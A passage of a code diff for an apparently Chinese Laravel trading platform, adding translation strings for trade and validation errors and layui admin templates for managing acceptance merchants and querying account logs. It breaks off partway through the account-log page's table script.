'请输入正确的交易数量或价格' => '请输入正确的交易数量或价格',
|
||||
'用户钱包不存在' => '用户钱包不存在',
|
||||
'对不起,您的钱包余额不足' => '对不起,您的钱包余额不足',
|
||||
'用户不存在' => '用户不存在',
|
||||
'未找到该发布用户' => '未找到该发布用户',
|
||||
'检测有未完成交易,请完成后再来!' => '检测有未完成交易,请完成后再来!',
|
||||
'您的余额不足' => '您的余额不足',
|
||||
'用户信息不正确' => '用户信息不正确',
|
||||
'对不起,这不是您的发布信息' => '对不起,这不是您的发布信息',
|
||||
'对不起,您无权撤销此记录' => '对不起,您无权撤销此记录',
|
||||
'对不起,您的账户冻结资金不足' => '对不起,您的账户冻结资金不足',
|
||||
'取消次数已超出' => '取消次数已超出',
|
||||
'次,明天再发布' => '次,明天再发布',
|
||||
',错误位于第' => ',错误位于第',
|
||||
'行' => '行',
|
||||
'您今天的取消次数已超出' => '您今天的取消次数已超出',
|
||||
'次' => '次',
|
||||
'在 ' => '在 ',
|
||||
'购买法币成功,增加法币余额' => '购买法币成功,增加法币余额',
|
||||
'转账数量不能小于' => '转账数量不能小于',
|
||||
'转账数量不能大于' => '转账数量不能大于',
|
||||
'解约失败:' => '解约失败:',
|
||||
'操作成功,请联系商家确认订单' => '操作成功,请联系商家确认订单',
|
||||
'您还没有通过实名认证' => '您还没有通过实名认证',
|
||||
'您还没有设置收款信息' => '您还没有设置收款信息',
|
||||
'撤单失败:' => '撤单失败:',
|
||||
'扣除保证金失败:' => '扣除保证金失败:',
|
||||
'扣除手续费失败:' => '扣除手续费失败:',
|
||||
'手数不能低于' => '手数不能低于',
|
||||
'手数不能高于' => '手数不能高于',
|
||||
'余额不足,不能小于' => '余额不足,不能小于',
|
||||
'(手续费:' => '(手续费:',
|
||||
'此法币' => '此法币',
|
||||
'商家名称已存在' => ',商家名称已存在',
|
||||
'请实名认证'=>'请实名认证',
|
||||
'最小下单数量不能小于' => '最小下单数量不能小于 :micro_min',
|
||||
'ces' => '最小下单数量不能小于 :micro_min',
|
||||
'认证成功,请等待审核' => '提交成功,请等待审核',
|
||||
'申请成功' => '申请成功',
|
||||
'操作失败:您有未平仓的交易,操作禁止' => '操作失败:您有未平仓的交易,操作禁止',
|
||||
'支付通道维护,请更换支付方式' => '支付通道维护,请更换支付方式',
|
||||
'您好,您的账户已被锁定,详情请咨询客服。' => "您好,您的账户已被锁定,详情请咨询客服。",
|
||||
'您好,您的资金已被锁定,详情请咨询客服。' => "您好,您的资金已被锁定,详情请咨询客服。",
|
||||
);
|
||||
@@ -0,0 +1,19 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Pagination Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used by the paginator library to build
|
||||
| the simple pagination links. You are free to change them to anything
|
||||
| you want to customize your views to better match your application.
|
||||
|
|
||||
*/
|
||||
|
||||
'previous' => '« 上一页',
|
||||
'next' => '下一页 »',
|
||||
|
||||
];
|
||||
@@ -0,0 +1,22 @@
|
||||
<?php
|
||||
|
||||
return [
|
||||
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Password Reset Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are the default lines which match reasons
|
||||
| that are given by the password broker for a password update attempt
|
||||
| has failed, such as for an invalid token or invalid new password.
|
||||
|
|
||||
*/
|
||||
|
||||
'password' => '密码必须至少6个字符,并且确认匹配。',
|
||||
'reset' => '您的密码已经重置!',
|
||||
'sent' => '已经向您邮箱发送了重置密码链接!',
|
||||
'token' => '密码重置token已效。',
|
||||
'user' => "您的电子邮件不存在。",
|
||||
|
||||
];
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
return [
|
||||
'unique' => ':attribute 已存在',
|
||||
'accepted' => ':attribute 是被接受的',
|
||||
'active_url' => ':attribute 必须是一个合法的 URL',
|
||||
'after' => ':attribute 必须是 :date 之后的一个日期',
|
||||
'alpha' => ':attribute 必须全部由字母字符构成。',
|
||||
'alpha_dash' => ':attribute 必须全部由字母、数字、中划线或下划线字符构成',
|
||||
'alpha_num' => ':attribute 必须全部由字母和数字构成',
|
||||
'array' => ':attribute 必须是个数组',
|
||||
'before' => ':attribute 必须是 :date 之前的一个日期',
|
||||
'between' => [
|
||||
'numeric' => ':attribute 必须在 :min 到 :max 之间',
|
||||
'file' => ':attribute 必须在 :min 到 :max KB之间',
|
||||
'string' => ':attribute 必须在 :min 到 :max 个字符之间',
|
||||
'array' => ':attribute 必须在 :min 到 :max 项之间',
|
||||
],
|
||||
'boolean' => ':attribute 字符必须是 true 或 false',
|
||||
'confirmed' => ':attribute 二次确认不匹配',
|
||||
'date' => ':attribute 必须是一个合法的日期',
|
||||
'date_format' => ':attribute 与给定的格式 :format 不符合',
|
||||
'different' => ':attribute 必须不同于:other',
|
||||
'digits' => ':attribute 必须是 :digits 位',
|
||||
'digits_between' => ':attribute 必须在 :min and :max 位之间',
|
||||
'email' => ':attribute 必须是一个合法的电子邮件地址。',
|
||||
'filled' => ':attribute 的字段是必填的',
|
||||
'exists' => '选定的 :attribute 是无效的',
|
||||
'image' => ':attribute 必须是一个图片 (jpeg, png, bmp 或者 gif)',
|
||||
'in' => '选定的 :attribute 是无效的',
|
||||
'integer' => ':attribute 必须是个整数',
|
||||
'ip' => ':attribute 必须是一个合法的 IP 地址。',
|
||||
'max' => [
|
||||
'numeric' => ':attribute 的最大长度为 :max 位',
|
||||
'file' => ':attribute 的最大为 :max',
|
||||
'string' => ':attribute 的最大长度为 :max 字符',
|
||||
'array' => ':attribute 的最大个数为 :max 个',
|
||||
],
|
||||
'mimes' => ':attribute 的文件类型必须是:values',
|
||||
'min' => [
|
||||
'numeric' => ':attribute 的最小长度为 :min 位',
|
||||
'string' => ':attribute 的最小长度为 :min 字符',
|
||||
'file' => ':attribute 大小至少为:min KB',
|
||||
'array' => ':attribute 至少有 :min 项',
|
||||
],
|
||||
'not_in' => '选定的 :attribute 是无效的',
|
||||
'numeric' => ':attribute 必须是数字',
|
||||
'regex' => ':attribute 格式是无效的',
|
||||
'required' => ':attribute 字段必须填写',
|
||||
'required_if' => ':attribute 字段是必须的当 :other 是 :value',
|
||||
'required_with' => ':attribute 字段是必须的当 :values 是存在的',
|
||||
'required_with_all' => ':attribute 字段是必须的当 :values 是存在的',
|
||||
'required_without' => ':attribute 字段是必须的当 :values 是不存在的',
|
||||
'required_without_all' => ':attribute 字段是必须的当 没有一个 :values 是存在的',
|
||||
'same' => ':attribute 和 :other 必须匹配',
|
||||
'size' => [
|
||||
'numeric' => ':attribute 必须是 :size 位',
|
||||
'file' => ':attribute 必须是 :size KB',
|
||||
'string' => ':attribute 必须是 :size 个字符',
|
||||
'array' => ':attribute 必须包括 :size 项',
|
||||
],
|
||||
'url' => ':attribute 无效的格式',
|
||||
'timezone' => ':attribute 必须个有效的时区',
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Custom Validation Language Lines
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| Here you may specify custom validation messages for attributes using the
|
||||
| convention "attribute.rule" to name the lines. This makes it quick to
|
||||
| specify a specific custom language line for a given attribute rule.
|
||||
|
|
||||
*/
|
||||
'custom' => [
|
||||
'attribute-name' => [
|
||||
'rule-name' => 'custom-message',
|
||||
],
|
||||
],
|
||||
/*
|
||||
|--------------------------------------------------------------------------
|
||||
| Custom Validation Attributes
|
||||
|--------------------------------------------------------------------------
|
||||
|
|
||||
| The following language lines are used to swap attribute place-holders
|
||||
| with something more reader friendly such as E-Mail Address instead
|
||||
| of "email". This simply helps us make messages a little cleaner.
|
||||
|
|
||||
*/
|
||||
'attributes' => [
|
||||
'username' => '用户名',
|
||||
'account' => '账号',
|
||||
'captcha' => '验证码',
|
||||
'mobile' => '手机号',
|
||||
'password' => '密码',
|
||||
'content' => '内容',
|
||||
'identity' => '手机号/用户名',
|
||||
],
|
||||
];
|
||||
@@ -0,0 +1,103 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>后台管理</title>
|
||||
<meta name="renderer" content="webkit">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<meta name="apple-mobile-web-app-status-bar-style" content="black">
|
||||
<meta name="apple-mobile-web-app-capable" content="yes">
|
||||
<meta name="format-detection" content="telephone=no">
|
||||
|
||||
<link rel="stylesheet" href="/admin/plugins/layui/css/layui.css" media="all">
|
||||
@yield('page-head')
|
||||
</head>
|
||||
<body>
|
||||
<section class="layui-larry-box">
|
||||
<div class="larry-personal" style="margin: 20px;">
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-body layui-text">
|
||||
@yield('page-content')
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
<script src="/js/jquery-1.11.1.min.js"></script>
|
||||
<script src="/admin/plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
/*弹出层*/
|
||||
/*
|
||||
参数解释:
|
||||
title 标题
|
||||
url 请求的url
|
||||
id 需要操作的数据id
|
||||
w 弹出层宽度(缺省调默认值)
|
||||
h 弹出层高度(缺省调默认值)
|
||||
*/
|
||||
function layer_show(title,url,w,h,full){
|
||||
if (title == null || title == '') {
|
||||
title=false;
|
||||
};
|
||||
if (url == null || url == '') {
|
||||
url="404.html";
|
||||
};
|
||||
if (w == null || w == '') {
|
||||
w=800;
|
||||
};
|
||||
if (h == null || h == '') {
|
||||
h=($(window).height() - 50);
|
||||
};
|
||||
if (full == null || full == ''){
|
||||
full = false;
|
||||
}else{
|
||||
full = true;
|
||||
}
|
||||
if(full == true){
|
||||
var index = layer.open({
|
||||
type:2,
|
||||
title: title,
|
||||
content: url,
|
||||
});
|
||||
setTimeout(function(){
|
||||
layer.full(index);
|
||||
},100)
|
||||
}else {
|
||||
layer.open({
|
||||
type: 2,
|
||||
area: [w + 'px', h + 'px'],
|
||||
fix: false, //不固定
|
||||
maxmin: true,
|
||||
shade: 0.4,
|
||||
title: title,
|
||||
content: url,
|
||||
offset: '10px',
|
||||
});
|
||||
}
|
||||
}
|
||||
/*选择图片弹出层*/
|
||||
function upload_select(callback,num)
|
||||
{
|
||||
var url = '/admin/uploader?form=admin&callback=' + callback + '&num=' + num
|
||||
layer.open({
|
||||
type: 2,
|
||||
area: ['800px', '450px'],
|
||||
fix: false, //不固定
|
||||
maxmin: true,
|
||||
shade:0.4,
|
||||
closeBtn:0,
|
||||
title: '选择图片',
|
||||
content: url,
|
||||
});
|
||||
}
|
||||
/*关闭弹出框口*/
|
||||
function layer_close(){
|
||||
layer.closeAll();
|
||||
}
|
||||
function upload_box(callback) {
|
||||
layer_show('上传','/admin/uploader?callback=' + callback,600,160);
|
||||
}
|
||||
</script>
|
||||
@yield('scripts')
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,139 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<form class="layui-form" action="">
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="account_number" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="{{$result->account_number}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">名称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="name" lay-verify="required" autocomplete="off" placeholder="" class="layui-input" value="{{$result->name}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">充值额度</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" class="layui-input" id="reserve_time" name="recharge_amount" value="{{$result->recharge_amount}}">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">充值费率</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" class="layui-input" id="end_time" name="recharge_rate" value="{{$result->recharge_rate}}" placeholder="请填写百分比">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">提现额度</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" class="layui-input" id="reserve_time" name="cash_amount" value="{{$result->cash_amount}}">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">提现费率</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="number" class="layui-input" id="end_time" name="cash_rate" value="{{$result->cash_rate}}" placeholder="请填写百分比">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">微信昵称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="wechat_nickname" autocomplete="off" placeholder="" class="layui-input" value="{{$result->wechat_nickname}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">微信账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="wechat_account" autocomplete="off" placeholder="" class="layui-input" value="{{$result->wechat_account}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">支付宝昵称</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="ali_nickname" autocomplete="off" placeholder="" class="layui-input" value="{{$result->ali_nickname}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">支付宝账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="ali_account" autocomplete="off" placeholder="" class="layui-input" value="{{$result->ali_account}}">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">选择银行</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="bank_id" lay-filter="type">
|
||||
@foreach($banks as $bank)
|
||||
<option value="{{$bank->id}}" @if($result->bank_id == $bank->id) selected @endif>{{$bank->name}}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">银行账号</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="bank_account" autocomplete="off" placeholder="" class="layui-input" value="{{$result->bank_account}}">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">开户行</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="bank_address" autocomplete="off" placeholder="" class="layui-input" value="{{$result->bank_address}}">
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
<input type="hidden" name="id" value="{{$result->id}}">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-input-block">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="demo1">立即提交</button>
|
||||
<button type="reset" class="layui-btn layui-btn-primary">重置</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
|
||||
layui.use(['form','laydate'],function () {
|
||||
var form = layui.form
|
||||
,$ = layui.jquery
|
||||
,laydate = layui.laydate
|
||||
,index = parent.layer.getFrameIndex(window.name);
|
||||
//监听提交
|
||||
form.on('submit(demo1)', function(data){
|
||||
var data = data.field;
|
||||
$.ajax({
|
||||
url:'{{url('admin/acceptor_add')}}'
|
||||
,type:'post'
|
||||
,dataType:'json'
|
||||
,data : data
|
||||
,success:function(res){
|
||||
if(res.type=='error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
parent.layer.close(index);
|
||||
parent.window.location.reload();
|
||||
}
|
||||
}
|
||||
});
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,135 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="account_number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_recommend" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_recommend == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
{{--<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="detail">调节账户</a>--}}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: '{{url('admin/acceptor_dealList')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', minWidth:80, sort: true}
|
||||
,{field: 'account_number', title: '用户名', minWidth:100}
|
||||
,{field: 'acceptor_name', title: '承兑商名称', minWidth:100}
|
||||
,{field: 'type_name', title: '交易类型', minWidth:100}
|
||||
,{field: 'way_name', title: '交易方式', minWidth:100}
|
||||
,{field: 'deal_account', title: '交易账号', minWidth:180}
|
||||
,{field: 'hes_account', title: '承兑商交易账号', minWidth:180}
|
||||
,{field: 'money', title: '交易额度', minWidth:100}
|
||||
,{field: 'sure_name', title: '交易状态', minWidth:100}
|
||||
,{field: 'create_time', title: '提交时间', minWidth:180}
|
||||
,{field: 'update_time', title: '确认时间', minWidth:180}
|
||||
// ,{field: 'create_time', title: '添加时间', minWidth:80}
|
||||
// ,{field: 'wechat_nickname', title: '微信昵称', minWidth:80}
|
||||
// ,{field: 'wechat_account', title: '微信账号', minWidth:80}
|
||||
// ,{field: 'ali_nickname', title: '支付宝昵称', minWidth:80}
|
||||
// ,{field: 'ali_account', title: '支付宝账号', minWidth:80}
|
||||
// ,{field: 'bank_name', title: '银行名称', minWidth:80}
|
||||
// ,{field:'is_recommend', title:'热卖', minWidth:85, templet: '#switchTpl', unresize: true}
|
||||
// ,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
form.on('switch(sexDemo)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/product_hot')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.msg);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer_show('编辑承兑商','{{url('')}}?id='+data.id);
|
||||
} else if(obj.event === 'detail'){
|
||||
layer_show('调节账户','{{url('admin/adjust_account')}}?id='+data.id,800,600);
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.account_number;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,132 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div style="margin-top: 10px;width: 100%;margin-left: 10px;">
|
||||
<button class="layui-btn layui-btn-normal layui-btn-radius" onclick="layer_show('添加承兑商','{{url('admin/acceptor_add')}}')">添加承兑商</button>
|
||||
|
||||
<form class="layui-form layui-form-pane layui-inline" action="">
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label class="layui-form-label">用户名</label>
|
||||
<div class="layui-input-inline">
|
||||
<input type="text" name="account_number" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<div class="layui-input-inline">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="mobile_search"><i class="layui-icon"></i></button>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<script type="text/html" id="switchTpl">
|
||||
<input type="checkbox" name="is_recommend" value="@{{d.id}}" lay-skin="switch" lay-text="是|否" lay-filter="sexDemo" @{{ d.is_recommend == 1 ? 'checked' : '' }}>
|
||||
</script>
|
||||
|
||||
<table id="demo" lay-filter="test"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
{{--<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="detail">调节账户</a>--}}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="edit">编辑</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
layui.use(['table','form'], function(){
|
||||
var table = layui.table;
|
||||
var $ = layui.jquery;
|
||||
var form = layui.form;
|
||||
//第一个实例
|
||||
table.render({
|
||||
elem: '#demo'
|
||||
,url: '{{url('admin/acceptor_list')}}' //数据接口
|
||||
,page: true //开启分页
|
||||
,id:'mobileSearch'
|
||||
,cols: [[ //表头
|
||||
{field: 'id', title: 'ID', minWidth:80, sort: true}
|
||||
,{field: 'account_number', title: '用户名', minWidth:80}
|
||||
,{field: 'name', title: '名称', minWidth:80}
|
||||
,{field: 'recharge_amount', title: '充值额度', minWidth:80}
|
||||
,{field: 'recharge_rate', title: '充值费率', minWidth:80}
|
||||
,{field: 'cash_amount', title: '提现额度', minWidth:80}
|
||||
,{field: 'cash_rate', title: '提现费率', minWidth:80}
|
||||
,{field: 'create_time', title: '添加时间', minWidth:80}
|
||||
// ,{field: 'wechat_nickname', title: '微信昵称', minWidth:80}
|
||||
// ,{field: 'wechat_account', title: '微信账号', minWidth:80}
|
||||
// ,{field: 'ali_nickname', title: '支付宝昵称', minWidth:80}
|
||||
// ,{field: 'ali_account', title: '支付宝账号', minWidth:80}
|
||||
// ,{field: 'bank_name', title: '银行名称', minWidth:80}
|
||||
// ,{field:'is_recommend', title:'热卖', minWidth:85, templet: '#switchTpl', unresize: true}
|
||||
,{title:'操作',minWidth:100,toolbar: '#barDemo'}
|
||||
|
||||
]]
|
||||
});
|
||||
//监听热卖操作
|
||||
form.on('switch(sexDemo)', function(obj){
|
||||
var id = this.value;
|
||||
$.ajax({
|
||||
url:'{{url('admin/product_hot')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:id},
|
||||
success:function (res) {
|
||||
if(res.error != 0){
|
||||
layer.msg(res.msg);
|
||||
}
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
table.on('tool(test)', function(obj){
|
||||
var data = obj.data;
|
||||
if(obj.event === 'del'){
|
||||
layer.confirm('真的删除行么', function(index){
|
||||
$.ajax({
|
||||
url:'{{url('admin/acceptor_del')}}',
|
||||
type:'post',
|
||||
dataType:'json',
|
||||
data:{id:data.id},
|
||||
success:function (res) {
|
||||
if(res.type == 'error'){
|
||||
layer.msg(res.message);
|
||||
}else{
|
||||
obj.del();
|
||||
layer.close(index);
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
} else if(obj.event === 'edit'){
|
||||
layer_show('编辑承兑商','{{url('admin/acceptor_add')}}?id='+data.id);
|
||||
} else if(obj.event === 'detail'){
|
||||
layer_show('调节账户','{{url('admin/adjust_account')}}?id='+data.id,800,600);
|
||||
}
|
||||
});
|
||||
|
||||
//监听提交
|
||||
form.on('submit(mobile_search)', function(data){
|
||||
var account_number = data.field.account_number;
|
||||
table.reload('mobileSearch',{
|
||||
where:{account_number:account_number},
|
||||
page: {curr: 1} //重新从第一页开始
|
||||
});
|
||||
return false;
|
||||
});
|
||||
|
||||
});
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
@@ -0,0 +1,152 @@
|
||||
@extends('admin._layoutNew')
|
||||
|
||||
@section('page-head')
|
||||
|
||||
@endsection
|
||||
|
||||
@section('page-content')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">用户账号</label>
|
||||
<div class="layui-input-inline" >
|
||||
<input type="datetime" name="account" placeholder="请输入手机号或邮箱" autocomplete="off" class="layui-input" value="">
|
||||
</div>
|
||||
<div class="layui-input-inline date_time111" style="margin-left: 50px;">
|
||||
<input type="text" name="start_time" id="start_time" placeholder="请输入开始时间" autocomplete="off" class="layui-input" value="">
|
||||
</div>
|
||||
<div class="layui-input-inline date_time111" style="margin-left: 50px;">
|
||||
<input type="text" name="end_time" id="end_time" placeholder="请输入结束时间" autocomplete="off" class="layui-input" value="">
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>日志类型 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="type" id="type" class="layui-input">
|
||||
<option value="">所有类型</option>
|
||||
@foreach ($types as $key=>$type)
|
||||
<option value="{{ $key }}" class="ww">{{ $type }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>货币类型 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="currency_type" id="currency_type" class="layui-input">
|
||||
<option value="">所有</option>
|
||||
@foreach ($currency_type as $key=>$type)
|
||||
<option value="{{ $type['id'] }}" class="ww">{{ $type['name'] }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline" style="margin-left: 50px;">
|
||||
<label>正负值 </label>
|
||||
<div class="layui-input-inline">
|
||||
<select name="sign" id="sign" class="layui-input">
|
||||
<option value="0">所有值</option>
|
||||
<option value="1" class="ww">正值</option>
|
||||
<option value="-1" class="ww">负值</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<button class="layui-btn btn-search" id="mobile_search" lay-submit lay-filter="mobile_search"> <i class="layui-icon"></i> </button>
|
||||
</div>
|
||||
|
||||
<blockquote class="layui-elem-quote" id="statistics">0</blockquote>
|
||||
<div class="layui-form">
|
||||
<table id="accountlist" lay-filter="accountlist"></table>
|
||||
<script type="text/html" id="barDemo">
|
||||
<a class="layui-btn layui-btn-xs" lay-event="viewDetail">查看详情</a>
|
||||
</script>
|
||||
|
||||
@endsection
|
||||
|
||||
@section('scripts')
|
||||
<script>
|
||||
|
||||
window.onload = function() {
|
||||
document.onkeydown=function(event){
|
||||
var e = event || window.event || arguments.callee.caller.arguments[0];
|
||||
if(e && e.keyCode==13){ // enter 键
|
||||
$('#mobile_search').click();
|
||||
}
|
||||
};
|
||||
layui.use(['element', 'form', 'layer', 'table','laydate'], function () {
|
||||
var element = layui.element;
|
||||
var layer = layui.layer;
|
||||
var table = layui.table;
|
||||
var $ = layui.$;
|
||||
var form = layui.form;
|
||||
var laydate = layui.laydate;
|
||||
|
||||
laydate.render({
|
||||
elem: '#start_time'
|
||||
});
|
||||
laydate.render({
|
||||
elem: '#end_time'
|
||||
});
|
||||
|
||||
form.on('submit(mobile_search)',function(obj){
|
||||
var start_time = $("#start_time").val()
|
||||
var end_time = $("#end_time").val()
|
||||
var currency_type = $("#currency_type").val()
|
||||
var account = $("input[name='account']").val()
|
||||
var type = $('#type').val()
|
||||
var sign = $('#sign').val()
|
||||
tbRend("{{url('/admin/account/list')}}?account="+account
|
||||
+'&type='+type
|
||||
+'&start_time='+start_time
|
||||
+'&end_time='+end_time
|
||||
+'¤cy_type='+currency_type
|
||||
+'&sign='+sign
|
||||
);
|
||||
return false;
|
||||
});
|
||||
function tbRend(url) {
|
||||
table.render({
|
||||
elem: '#accountlist'
|
||||
,url: url
|
||||
,page: true
|
||||
,limit: 20
|
||||
,height: 'full-100'
|
||||
,toolbar: true
|
||||
,cols: [[
|
||||
{field: 'id', title: 'ID', width: 110}
|
||||
,{field:'account',title: '用户账号',width: 130}
|
||||
,{field:'account_number',title: '交易账号',width: 150, hide: true}
|
||||
,{field:'before',title:'变动前', width:150}
|
||||
,{field:'value',title:'变动量', minWidth:160}
|
||||
,{field:'after',title:'变动后', width:150}
